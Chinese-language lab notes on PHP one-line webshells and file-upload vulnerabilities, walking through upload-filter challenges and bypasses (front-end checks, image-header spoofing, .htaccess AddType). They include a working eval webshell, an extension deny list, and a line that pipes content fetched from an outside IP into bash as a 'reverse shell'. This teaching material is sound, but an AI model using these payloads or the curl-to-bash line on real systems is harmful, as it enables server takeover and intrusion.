一句话木马

简介

在很多的渗透过程中,渗透人员会上传一句话木马(Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此。

基本应用为利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过工具即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。
————————————————
版权声明:本文为CSDN博主「Tr0e」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_39190897/article/details/86772765

一句话木马实例

下面是最简单的一句话木马:

1
<?php @eval($_POST['a']) ?>

$_POST用来获取参数值

@eval()用于免报错代码执行

因此直接向该页面传参即可执行代码

详见靶机upload1

反弹shell:curl 110.40.136.140|bash

文件上传漏洞

简介

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。

1
2
3
4
5
6
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
$msg = "Upload Success!";
} else {
$msg = 'Upload Failed!';
}

详见靶机upload0

Challenge1-前端过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file === "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") === -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>

详见靶机Challenge1

解题思路:可使用burp更改文件后缀后再上传

Challenge2-后端过滤php

1
2
3
4
5
6
7
if(preg_match("/php/i",$ext)){
die("");
}
$content = file_get_contents($temp_file);
if(preg_match("/php/i", $content)){
die("嘿,被我发现了吧");
}

详见靶机Challenge2

解题思路:寻找其他后缀或使用其他方法,正文需要其他可绕过的一句话

Challenge3-后端过滤php且检测文件头

1
2
3
if(!getimagesize($file_name)){
die("");
}

详见靶机Challenge3

什么是文件头?

文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分,描述一个文件的一些重要的属性。

图片类

文件类型 后缀 文件头 文件尾 标志
JPEG .jpg/.jpeg FFD8FF FFD9 JFIF
PNG .png 89504E47 AE426082 PNG IEND IHDR
GIF .gif 47494638 003B GIT9a
TIFF .tif/.tiff 49492A00 4D4D2A00 - II MM

音频类

文件类型 后缀 文件头 文件尾 标志
WAVE .wav 52494646 - RIFF

压缩文件类

文件类型 后缀 文件头 文件尾 标志
ZIP Archive .zip 504B0304 - PK
RAR Archive .rar 52617221 - RAR!
7Z Archive .7z 377ABCAF - 7z

解题思路:使用一像素图片+一句话转为其他后缀

Challenge4-后端过滤大量后缀但可更改解析方式

.htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。

1
$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini");

详见靶机Challenge4

解题思路:将php伪造为jpg之后再上传.htaccess文件将图片文件转为php解析

1
AddType application/x-httpd-php .jpg

Challenge5-.htaccess截断绕过后端检测

详见靶机Challenge5

1
2
AddType application/x-httpd-ph
p .jpg